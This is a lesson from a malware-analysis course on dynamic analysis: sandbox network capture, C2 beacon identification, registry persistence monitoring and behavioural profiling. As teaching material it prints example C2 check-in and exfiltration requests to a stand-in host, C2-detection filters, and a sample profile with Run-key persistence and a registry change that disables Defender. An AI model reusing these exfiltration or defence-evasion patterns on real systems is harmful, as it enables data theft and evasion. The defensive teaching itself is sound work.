Dynamic Analysis: Network & Registry Monitoring

In Lesson 11.3, you traced what malware does to the file system and running processes. That tells you half the story. The other half lives in the network traffic leaving your sandbox and the registry keys the malware writes to survive a reboot. This lesson completes the dynamic analysis picture — after this, you will be able to describe everything a sample does from the moment it executes to the moment it phones home.

Capturing Malware Network Traffic

Why Network Capture Matters

Most modern malware does not operate in isolation. Within seconds of execution, it reaches out — resolving domains, downloading second-stage payloads, beaconing to C2 infrastructure, or exfiltrating data. If you only watch processes and files, you miss the attacker's infrastructure entirely.

The challenge: real malware connects to real infrastructure that may be sinkholed, seized, or actively monitored. Running malware that talks to live C2 from your corporate network is a career-limiting event. Sandbox network tools solve this by intercepting traffic before it leaves your analysis environment.

Tool Comparison for Sandbox Network Analysis

FakeNet-NG: The Windows Analyst's Best Friend

FakeNet-NG intercepts DNS, HTTP, HTTPS, SMTP, and custom TCP/UDP traffic — responding with fake but valid-looking responses. Malware "thinks" it has internet connectivity and proceeds through its full execution chain.

# Start FakeNet-NG before executing the sample
C:\tools\fakenet\fakenet.exe

# FakeNet-NG output shows intercepted traffic in real-time:
# [DNS] Query: update-service[.]xyz -> 192.0.2.1
# [HTTP] GET /gate.php?id=DESKTOP-ABC123&os=10.0
# [HTTP] POST /submit.php Content-Length: 4096
# [HTTPS] Connection to cdn-static[.]xyz:443

INetSim: The Linux Equivalent

On REMnux or any Linux analysis VM, INetSim provides the same fake-internet capability:

# Start INetSim (typically pre-configured on REMnux)
sudo inetsim

# Default configuration simulates:
# - DNS server (responds to all queries)
# - HTTP/HTTPS server (serves a default page)
# - SMTP server (accepts all email)
# - FTP server (accepts uploads/downloads)
# - IRC server (for older C2 protocols)

# Configure the malware VM to use INetSim host as DNS/gateway

Wireshark: Deep Packet Analysis

While FakeNet-NG/INetSim intercept and respond, Wireshark captures the raw packets for deep analysis. Run both simultaneously — FakeNet keeps the malware talking while Wireshark records everything.

Key Wireshark filters for malware analysis:

Click to enlarge

Identifying C2 Callbacks

DNS Resolution Patterns

The first thing most malware does is resolve its C2 domain. Watch for:

HTTP/HTTPS Beacon Patterns

After DNS resolution, malware typically establishes a regular communication pattern with its C2 server:

# Typical HTTP beacon — check-in with system fingerprint
GET /index.php?uid=DESKTOP-ABC123&ver=2.1&os=10.0.19045 HTTP/1.1
Host: update-service.xyz
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0)

# C2 response — no tasking available
HTTP/1.1 200 OK
Content-Length: 2
OK

# Data exfiltration via POST
POST /upload.php HTTP/1.1
Host: update-service.xyz
Content-Type: application/octet-stream
Content-Length: 8192
[encrypted blob]

Red flags in HTTP traffic:

• Fixed intervals — Beacons every 30, 60, or 300 seconds with minimal jitter
• Unusual User-Agent strings — Outdated IE versions, missing fields, or custom strings
• Base64 in URLs — /gate.php?d=SGVsbG8gV29ybGQ=
• Abnormal POST sizes — Large uploads to paths that look like legitimate web endpoints
• Cookie-based C2 — Commands embedded in Set-Cookie headers

Custom Protocol C2

Advanced malware sometimes uses custom TCP or UDP protocols on non-standard ports:

# Look for non-HTTP traffic on common ports
tcp.port == 443 && !tls     # Raw TCP masquerading as HTTPS
tcp.port == 53 && !dns       # Raw TCP masquerading as DNS
udp && !dns && !dhcp         # Unusual UDP traffic

Document every unique network connection:

Registry Monitoring During Execution

Why Registry Matters

The Windows Registry is where persistence lives. Nearly every Windows malware family writes registry keys to ensure it survives reboots. Understanding which keys were modified tells you exactly how the malware plans to stay alive.

Process Monitor: Real-Time Registry Tracking

Process Monitor (Procmon) from Sysinternals captures every registry operation on the system. The challenge is filtering the noise — a clean Windows system generates thousands of registry operations per second.

Setting up Procmon for registry analysis:

1. Open Procmon and clear any existing capture (Ctrl+X)
2. Set a filter: Operation → is → RegSetValue → Include
3. Add a second filter: Operation → is → RegCreateKey → Include
4. Deselect the network and file system buttons in the toolbar — you only want registry events
5. Start capture, then execute your sample
6. After execution, add a filter for your sample's process name to isolate its activity

Critical registry filters for malware analysis:

Autoruns: Before/After Comparison

Autoruns (also from Sysinternals) shows every program configured to run at startup. The before/after technique is straightforward and powerful:

1. Before execution: Run Autoruns and save the output (File → Save)
2. Execute the malware sample
3. After execution: Run Autoruns again and save
4. Compare: Use File → Compare to diff the two snapshots

New entries highlighted in green are your persistence mechanisms. This is faster than sifting through thousands of Procmon events when you only care about the end result.

Linux Registry Equivalent: Persistence Locations

Linux does not have a registry, but malware still needs to persist. Monitor these locations:

# Snapshot approach on Linux
# Before execution:
find /etc/cron* /var/spool/cron -type f -exec md5sum {} \; > /tmp/cron_before.txt
systemctl list-unit-files --state=enabled > /tmp/services_before.txt
md5sum ~/.bashrc ~/.profile > /tmp/shell_before.txt

# After execution:
find /etc/cron* /var/spool/cron -type f -exec md5sum {} \; > /tmp/cron_after.txt
systemctl list-unit-files --state=enabled > /tmp/services_after.txt
md5sum ~/.bashrc ~/.profile > /tmp/shell_after.txt

# Compare
diff /tmp/cron_before.txt /tmp/cron_after.txt
diff /tmp/services_before.txt /tmp/services_after.txt
diff /tmp/shell_before.txt /tmp/shell_after.txt

Building the Complete Behavioral Profile

You have now observed four dimensions of malware behavior:

The Behavioral Profile Template

Compile all four dimensions into a structured profile:

=== BEHAVIORAL PROFILE ===
Sample: invoice_march_2026.exe
SHA256: a1b2c3d4...
Analysis Date: 2026-02-23
Environment: Windows 10 22H2, FlareVM

--- EXECUTION CHAIN ---
invoice_march_2026.exe (PID 4521)
  └─ cmd.exe /c copy payload.dat %TEMP%\svchost.exe
      └─ %TEMP%\svchost.exe (PID 5102)
          └─ powershell.exe -enc [base64] (PID 5340)

--- FILE ACTIVITY ---
CREATED: C:\Users\analyst\AppData\Local\Temp\svchost.exe (copied payload)
CREATED: C:\Users\analyst\AppData\Roaming\update.dat (encrypted config)
DELETED: C:\Users\analyst\Downloads\invoice_march_2026.exe (self-deletion)

--- NETWORK ACTIVITY ---
DNS: update-service.xyz → 192.0.2.1 (C2)
DNS: cdn-static.xyz → 192.0.2.2 (payload host)
HTTP: GET /gate.php?id=DESKTOP-ABC123 (check-in, every 30s)
HTTP: POST /submit.php (exfil, 8KB clipboard data)
HTTPS: cdn-static.xyz:443 (downloaded second-stage, 245KB)

--- REGISTRY CHANGES ---
CREATED: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate
  Value: C:\Users\analyst\AppData\Local\Temp\svchost.exe
MODIFIED: HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
  Value: 1 (Defender disabled)

Click to enlarge

Pre/Post Execution Snapshots

For maximum coverage, take comprehensive system snapshots before and after:

Windows (using built-in tools):

# Before execution — save baseline
reg export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\snapshots\run_before.reg
reg export HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\snapshots\run_user_before.reg
Get-ScheduledTask | Export-Csv C:\snapshots\tasks_before.csv
Get-Service | Export-Csv C:\snapshots\services_before.csv
Get-NetTCPConnection | Export-Csv C:\snapshots\connections_before.csv
Get-ChildItem C:\Users\$env:USERNAME\AppData -Recurse | Export-Csv C:\snapshots\appdata_before.csv

# After execution — save modified state
reg export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\snapshots\run_after.reg
reg export HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\snapshots\run_user_after.reg
Get-ScheduledTask | Export-Csv C:\snapshots\tasks_after.csv
Get-Service | Export-Csv C:\snapshots\services_after.csv

# Compare
Compare-Object (Get-Content C:\snapshots\run_before.reg) (Get-Content C:\snapshots\run_after.reg)

Documenting Findings Systematically

The SOC Analyst's Network IOC Table

Every network artifact becomes an IOC for your detection team:

The Registry IOC Table

Connecting to Detection Engineering

Every behavioral finding maps to a detection rule:

Key Takeaways

• Start network capture tools (FakeNet-NG or INetSim) before executing the sample — the first few seconds of traffic are the most revealing
• FakeNet-NG (Windows) and INetSim (Linux) simulate internet services so malware reveals its full communication behavior without reaching real C2 infrastructure
• C2 identification focuses on three layers: DNS resolution (what domains), HTTP patterns (beacon intervals, URI structures, User-Agents), and custom protocols (non-standard port usage)
• Procmon registry filters isolate persistence writes in real-time; Autoruns before/after comparison catches the end result across all autostart locations
• Linux persistence monitoring requires checking cron, systemd, shell configs, and SSH authorized keys
• The complete behavioral profile combines four dimensions — process + file + network + registry — into a single structured document
• Every finding maps to a detection rule: network IOCs feed IDS rules, registry changes feed Sigma rules, process chains feed endpoint detections
• Always revert to a clean VM snapshot after analysis — never reuse a contaminated environment

What's Next

You can now trace malware through every phase of execution: what it runs, what it drops, where it connects, and how it persists. In Lesson 11.5, we shift to the most common delivery vector in the threat landscape — Office documents and macros. You will learn to analyze malicious Word documents, Excel spreadsheets, and PDFs without ever opening them, using oletools to extract and deobfuscate VBA macros that deliver the payloads you have been analyzing in your sandbox.